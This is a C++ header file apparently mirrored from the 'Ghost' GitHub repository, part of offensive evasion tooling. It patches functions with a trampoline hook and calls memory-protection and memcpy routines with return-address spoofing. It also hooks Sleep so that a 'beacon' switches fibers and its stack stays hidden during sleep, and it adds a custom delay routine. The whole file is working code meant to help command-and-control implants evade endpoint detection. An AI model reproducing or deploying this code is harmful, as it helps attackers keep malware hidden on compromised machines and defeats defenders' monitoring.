mirror of
https://github.com/cpu0x00/Ghost
synced 2026-06-06 15:34:27 +00:00
cpu0x00
87 lines
2.6 KiB
C++
87 lines
2.6 KiB
C++
#pragma once
|
|
|
|
#include "functions.h"
|
|
#include "retaddrspoof.h"
|
|
|
|
extern PVOID Gdgt;
|
|
extern LPVOID InitialFiber;
|
|
|
|
DWORD dwSleepTime;
|
|
|
|
/// <summary>
|
|
/// This function applies a "Trampoline-Based" Hooking, its shit, BUT it works
|
|
/// </summary>
|
|
/// <param name="FunctionToHook"></param>
|
|
/// <param name="RedirectionFunction"></param>
|
|
/// <returns></returns>
|
|
VOID HookFunction(PVOID FunctionToHook, PVOID RedirectionFunction) {
|
|
|
|
uint8_t uHook[] = {
|
|
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x41, 0xFF, 0xE2
|
|
};
|
|
|
|
uint64_t uPatch = (uint64_t)RedirectionFunction;
|
|
RetSpoofCall((void*)memcpy, 2, Gdgt ,&uHook[2], &uPatch, sizeof(uPatch));
|
|
|
|
DWORD oldProtect = 0;
|
|
SIZE_T regionSize = sizeof(uHook);
|
|
|
|
PVOID baseAddress = FunctionToHook;
|
|
|
|
NTSTATUS status = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &baseAddress, ®ionSize, PAGE_READWRITE, &oldProtect));
|
|
NTAPI_VALIDATE_RETURN2VOID(NtProtectHook1, status);
|
|
|
|
RetSpoofCall((void*)memcpy, 3, Gdgt , FunctionToHook, uHook, sizeof(uHook));
|
|
|
|
status = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &baseAddress, ®ionSize, oldProtect, &oldProtect));
|
|
NTAPI_VALIDATE_RETURN2VOID(NtProtectHook2, status);
|
|
|
|
#ifdef _DEBUG_PRINT
|
|
std::cout << "[DEBUG] Installed a Function Hook!\n";
|
|
#endif
|
|
return;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/// <summary>
|
|
/// a hook to the Sleep/SleepEx function causes the executed fiber to switch back to the Initial Fiber
|
|
/// </summary>
|
|
/// <param name="dwMilliseconds"></param>
|
|
/// <param name=""></param>
|
|
extern "C" void FiberSwitcher(DWORD dwMilliseconds, ...) {
|
|
|
|
dwSleepTime = dwMilliseconds; // so we can ACTUALLY sleep
|
|
|
|
#ifdef _DEBUG_PRINT
|
|
std::cout << "[PAYLOAD] Switching to intial fiber\n";
|
|
#endif
|
|
|
|
RetSpoofCall((void*)e_SwitchToFiber, 1, Gdgt, InitialFiber); // when this is executed by the "beacon" the entire beacon stack gets hidden for the time it sleeps
|
|
|
|
return;
|
|
}
|
|
|
|
|
|
/// <summary>
|
|
/// a custom sleep function
|
|
/// </summary>
|
|
/// <param name="dwMilliseconds"></param>
|
|
extern "C" void DelayExecution(DWORD dwMilliseconds) {
|
|
|
|
LARGE_INTEGER DelayInterval = { 0 };
|
|
LONGLONG Delay = NULL;
|
|
HANDLE hEvent = NULL;
|
|
|
|
RetSpoofCall((void*)NtCreateEvent, 5, Gdgt, &hEvent, EVENT_ALL_ACCESS, NULL, 0, FALSE);
|
|
Delay = dwMilliseconds * 10000;
|
|
DelayInterval.QuadPart = -Delay;
|
|
RetSpoofCall((void*)NtWaitForSingleObject, 3, Gdgt, hEvent, FALSE, &DelayInterval);
|
|
|
|
return;
|
|
|
|
}
|